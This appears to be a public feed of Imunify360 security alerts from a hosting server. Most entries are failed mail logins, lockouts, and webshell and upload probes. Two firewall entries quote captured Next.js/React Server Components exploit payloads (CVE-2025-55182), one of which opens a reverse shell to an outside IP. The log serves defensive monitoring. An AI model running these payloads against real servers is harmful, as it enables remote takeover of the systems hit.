2026-01-30 19:22:38 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:39190: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:22:18 dovecot_login authenticator failed for H=(WrC1vMafq7) [185.230.124.69]:50588: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:22:01 dovecot_login authenticator failed for H=(o1RzZB) [178.16.54.138]:63506: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:22:36 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:23:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin@cofreth.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:23:08 dovecot_login authenticator failed for H=(qQ15OJv0MA) [178.16.54.138]:62883: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:23:01 dovecot_login authenticator failed for H=(CJqN7u) [185.230.124.69]:59053: 535 Incorrect authentication data (set_id=kok-hoe.chin@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-30 19:23:05 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:28062: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/r+e.gex[c]a(r)s/dir/bar.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:23:44 dovecot_login authenticator failed for H=(RM55Q9jlF) [178.16.54.138]:64134: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:24:18 dovecot_login authenticator failed for H=(dhjT5FZ1S0) [178.16.54.138]:58042: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.211
country_id: 1814991
domain: symphony-led.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-30 19:24:47 dovecot_login authenticator failed for H=([221.145.5.14]) [221.145.5.14]:43441: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:24:09 dovecot_login authenticator failed for H=(j7IWeLj6O8) [185.230.124.69]:57856: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 19:24:14 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:39408: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:25:04 dovecot_login authenticator failed for H=(B0qcYZs) [178.16.54.138]:61069: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-01-30 19:25:06 dovecot_login authenticator failed for H=([51.162.194.94]) [51.162.194.94]:44930: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:25:19 dovecot_login authenticator failed for H=(Zeedl12) [185.230.124.69]:54056: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-01-30 19:27:00 dovecot_login authenticator failed for H=([128.185.253.122]) [128.185.253.122]:47386: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.202.113.224
country_id: 1694008
domain: myfurnitureshop.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93620.myfurnitureshop.com.my||ServerName:myfurnitureshop.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6c9a2c3ee4db88026a5c0ec08678b46a25dc1219||Title:0xd5fe5bea||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:26:22 dovecot_login authenticator failed for H=(ostCaU) [185.230.124.69]:60697: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.196.29.182
country_id: 6252001
domain: www.task.visoft.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.30.170
country_id: 3144096
description:
2026-01-30 19:26:13 dovecot_login authenticator failed for H=(cm-178.232.30.170.get.no) [178.232.30.170]:56160: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:26:11 dovecot_login authenticator failed for H=(VRosmr) [178.16.54.138]:59636: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 185.23.117.167
country_id: 2510769
domain: ahfengineering.com
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Incorrect username or password.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:27:46 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:27:06 dovecot_login authenticator failed for H=(6bj1OW) [185.230.124.69]:50862: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:27:12 dovecot_login authenticator failed for H=(DIcpah1) [178.16.54.138]:49587: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:28:00 dovecot_login authenticator failed for H=(DmpxNJ) [178.16.54.138]:56097: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-01-30 19:28:41 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:47096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.198.128.124
country_id: 1835841
description:
2026-01-30 19:28:51 dovecot_login authenticator failed for H=([211.198.128.124]) [211.198.128.124]:60810: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:28:11 dovecot_login authenticator failed for H=(dykZukJ) [185.230.124.69]:51531: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:28:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:28:22 H=([45.144.212.50]) [45.144.212.50]:63428 F=<zuleyha@savalanshipping.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from savalanshipping.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:28:38 dovecot_login authenticator failed for H=(jtiYzkndV) [178.16.54.138]:59953: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-01-30 19:28:45 dovecot_login authenticator failed for H=(122.55.57.177.pldt.net) [210.1.66.154]:61253: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.178
country_id: 1269750
description:
2026-01-30 19:28:55 dovecot_login authenticator failed for H=([182.95.222.178]) [182.95.222.178]:39258: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/finder/Tests/Fixtures/A/B/C/abc.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-30 19:28:03 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:36997: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:29:21 dovecot_login authenticator failed for H=(XHZBtEQ5P) [185.230.124.69]:56068: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:29:04 dovecot_login authenticator failed for H=(r7mqy23PkR) [178.16.54.138]:60250: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:29:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77093094
abuser: 193.142.147.209
country_id: 2921044
domain: 42.0.28.70:80
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('/bin/sh',[]),cl=new n.Socket();cl.connect(12323,'193.142.147.209',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:30:07 dovecot_login authenticator failed for H=(fvyRoK6tO) [185.230.124.69]:64858: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77093094
abuser: 51.195.100.96
country_id: 2921044
domain: masaakisb.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\n  \"then\": \"$1:__proto__:then\",\n  \"status\": \"resolved_model\",\n  \"reason\": -1,\n  \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\",\n  \"_response\": {\n    \"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271))',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});\",\n    \"_chunks\": \"$Q2\",\n    \"_formData\": {\n      \"get\": \"$1:constructor:constructor\"\n    }\n  }\n}||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:30:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:30:09 dovecot_login authenticator failed for H=(JGyI5oDAZb) [178.16.54.138]:51136: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:31:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 19:31:37 +0800] info [cpaneld] 165.22.212.32 - nexuscol "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user nexuscol (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.169.109
country_id: 2186224
description:
2026-01-30 19:31:38 dovecot_login authenticator failed for H=([121.73.169.109]) [121.73.169.109]:43852: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.214.160.4
country_id: 2017370
description:
2026-01-30 19:31:56 dovecot_login authenticator failed for H=(pool.luganet.ru) [178.214.160.4]:52694: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:31:07 dovecot_login authenticator failed for H=(01t6EdUS) [178.16.54.138]:62750: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:31:11 dovecot_login authenticator failed for H=(8OJBbDrVu) [185.230.124.69]:52030: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-30 19:31:17 H=([45.144.212.50]) [45.144.212.50]:53124 F=<waikeong.poon@seatrium.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from seatrium.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.142.106.177
country_id: 298795
description:
2026-01-30 19:31:27 dovecot_login authenticator failed for H=([188.132.210.145]) [195.142.106.177]:12156: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-01-30 19:33:01 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:19392: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:32:19 dovecot_login authenticator failed for H=(49fLTFZ5c) [178.16.54.138]:53353: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:32:20 dovecot_login authenticator failed for H=(EwPnWojc) [185.230.124.69]:51964: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 19:32:23 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:56767: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:32:45 dovecot_login authenticator failed for H=(do4tId4dv0) [185.230.124.69]:52859: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:32:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 19:32:46 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:58472: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.115
country_id: 6252001
domain: usfood.com.my
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/admin/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.178
country_id: 1605651
description:
2026-01-30 19:33:48 dovecot_login authenticator failed for H=([203.170.150.178]) [203.170.150.178]:55932: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:33:09 dovecot_login authenticator failed for H=(wCiW8aE) [178.16.54.138]:63412: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 19:33:29 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:29305: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-01-30 19:34:00 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com [35.130.111.98]:40434: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:33:07 dovecot_login authenticator failed for H=(aBPvxAu8) [185.230.124.69]:52378: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.50.94.29
country_id: 1605651
description:
2026-01-30 19:33:45 dovecot_login authenticator failed for H=([147.50.94.29]) [147.50.94.29]:52524: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.155.174
country_id: 1733045
description:
2026-01-30 19:34:56 dovecot_login authenticator failed for H=([49.124.155.174]) [49.124.155.174]:33536: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:34:04 dovecot_login authenticator failed for H=(spMQbzOhs) [178.16.54.138]:54546: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:34:12 dovecot_login authenticator failed for H=(Gl8OR1Yz9w) [185.230.124.69]:63746: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.101.146
country_id: 1269750
description:
2026-01-30 19:34:42 dovecot_login authenticator failed for H=(aes-static-217.70.22.125.airtel.in) [27.123.101.146]:39526: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:35:10 dovecot_login authenticator failed for H=(SlWEVjSgxV) [178.16.54.138]:62139: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:35:19 dovecot_login authenticator failed for H=(l0fNcrf) [141.98.11.82]:61638: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:35:22 dovecot_login authenticator failed for H=(7CgMyeu) [185.230.124.69]:54234: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: modsec
rule: 77142199
name: IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)
abuser: 87.121.84.30
country_id: 6252001
domain: plomalite.com
description:
IM360 WAF: jQuery-File-Upload - Arbitrary File Upload (CVE-2018-9206)||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/public/admin/assets/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 74.248.24.238
country_id: 798544
domain: webmail.fimco.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: webmail.fimco.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/fimco/webmail.fimco.com.my/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:36:26 dovecot_login authenticator failed for H=(h88Y1Y9b) [141.98.11.82]:52665: 535 Incorrect authentication data (set_id=evonne)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:36:02 dovecot_login authenticator failed for H=(aM3DyKe) [185.230.124.69]:49633: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:36:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:36:24 dovecot_login authenticator failed for H=(5xdLuWfZo) [178.16.54.138]:64469: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 19:36:41 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:35198: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/video.php||SC:/home/indfinitydesign/public_html/images/video.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-30 19:37:03 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:46044: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:37:09 dovecot_login authenticator failed for H=(1wy1ZzFjt) [178.16.54.138]:49894: 535 Incorrect authentication data (set_id=contact@modern.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 19:37:20 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:49901: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.60.186
country_id: 1819730
description:
2026-01-30 19:38:01 dovecot_login authenticator failed for H=42-200-60-186.static.imsbiz.com [42.200.60.186]:65411: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:37:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 19:37:07 dovecot_login authenticator failed for H=(Lafq5T) [185.230.124.69]:54466: 535 Incorrect authentication data (set_id=kok-hoe.chin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.82
country_id: 597427
description:
2026-01-30 19:37:09 dovecot_login authenticator failed for H=(CwTJ7XAV9q) [141.98.11.82]:50196: 535 Incorrect authentication data (set_id=evonne)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 19:37:14 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:56954: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 19:37:26 dovecot_login authenticator failed for H=(OYIsV5mOW) [178.16.54.138]:49208: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.215.1.201
country_id: 2635167
description:
2026-01-30 19:38:13 dovecot_login authenticator failed for H=([88.215.1.201]) [88.215.1.201]:49185: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.119
country_id: 1269750
description:
2026-01-30 19:38:18 dovecot_login authenticator failed for H=(nsg-corporate-119.229.187.122.airtel.in) [122.187.229.119]:45356: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-01-30 19:38:58 dovecot_login authenticator failed for H=([171.244.60.35]) [171.244.60.35]:32976: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 19:38:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kok-hoe.chin has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
